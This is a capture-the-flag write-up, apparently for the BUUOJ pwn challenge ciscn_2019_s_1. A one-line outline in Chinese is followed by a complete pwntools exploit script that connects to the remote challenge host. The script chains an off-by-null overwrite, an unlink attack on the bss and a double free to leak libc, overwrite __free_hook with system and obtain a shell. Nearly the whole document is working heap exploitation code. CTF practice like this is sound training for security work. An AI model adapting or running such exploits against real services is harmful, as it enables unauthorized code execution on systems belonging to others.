ciscn_2019_s_1

思路

通过off by null写key值然后unlink写bss段再次double free写free_hook即可拿到shell
exp:

from pwn import *
#p=process('./ciscn_s_1')
p=remote('node3.buuoj.cn',26429)
elf=ELF('./ciscn_s_1')
libc=elf.libc


def add(idx,size,data):
	p.sendlineafter('show','1')
	p.sendlineafter(':',str(idx))
	p.sendlineafter(':',str(size))
	p.recvuntil(': ')
	address=int('0x'+p.recv(7),16)
	p.sendafter(':',data)
	return address

def delete(idx):
	p.sendlineafter('show','2')
	p.sendlineafter(':',str(idx))

def edit(idx,data):
	p.sendlineafter('show','3')
	p.sendlineafter(':',str(idx))
	p.sendafter(':',data)

def show(idx):
	p.sendlineafter('show','4')
	p.sendlineafter(':',str(idx))


###########off by null##############
for i in range(7):
	add(i,0x90,'\x01'*0x10)
for i in range(8,14):
	add(i,0xf0,'\x02'*0x20)
add(18,0xf8,'ddd')
add(15,0x98,'aaa')
add(19,0xb8,'fff')
add(16,0xf8,'bbb')
add(23,0x98,'eee')
add(24,0xf8,'ggg')
add(17,0xa0,'/bin/sh\x00')
for i in range(7):
	delete(i)
for i in range(8,14):
	delete(i)
delete(15)
delete(18)
payload='\x00'*0xb0+p64(0x160)
edit(19,payload)
delete(16)
for i in range(8):
	add(i,0x90,'\x01'*0x10)
address=add(18,0xb8,'aaa')
delete(19)
edit(18,p64(0x6022B8))
add(19,0xb0,'a')
add(30,0xb8,'\xff'*4+'\x00'*4)
###############################################################


############################unlink#######################
for i in range(7):
	delete(i)
for i in range(8,14):
	add(i,0xf8,'aaa')
add(15,0xf0,'aaa')
add(21,0xf8,'bb')
address=add(27,0xd0,'ccc')
delete(19)
show(18)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-96-0x10
log.success('libcbase: '+hex(libcbase))
log.success('address: '+hex(address))
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']

for i in range(8,14):
	delete(i)
delete(15)
payload=p64(0)+p64(0x91)+p64(0x602198-0x18)+p64(0x602198-0x10)+'\x00'*0x70+p64(0x90)
edit(23,payload)
delete(24)
edit(23,p64(address)*2)
#############################################################################

###########double free####################
delete(20)
delete(21)
add(20,0xd0,p64(free_hook))
add(21,0xd0,'/bin/sh\x00')
add(22,0xd0,p64(system))
delete(21)
#########################################

p.interactive()